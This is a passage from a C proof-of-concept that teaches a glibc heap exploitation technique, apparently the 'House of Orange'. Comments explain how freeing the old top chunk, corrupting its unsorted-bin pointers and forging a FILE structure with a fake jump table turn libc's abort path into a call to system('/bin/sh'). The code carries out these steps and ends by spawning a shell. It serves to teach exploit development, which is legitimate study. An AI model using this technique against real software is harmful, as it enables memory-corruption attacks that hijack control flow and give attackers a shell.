This forces sysmalloc to be invoked.

In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end

And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.

In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.

After the size of the Top chunk has been updated, this chunk gets freed.

In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end

In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free

Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end



*/

p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end

Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)

The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.

The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.

The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/

io_list_all = top[2] + 0x9a8;

/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.

When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.

Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.

Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/

top[3] = io_list_all - 0x10;

/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/

memcpy( ( char *) top, "/bin/sh\x00", 8);

/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.

In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/

top[1] = 0x61;

/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/

FILE *fp = (FILE *) top;


/*
1. Set mode to 0: fp->_mode <= 0
*/

fp->_mode = 0; // top+0xc0


/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table

4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


/* Finally, trigger the whole chain by calling malloc */
malloc(10);

/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/

return 0;
}

int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}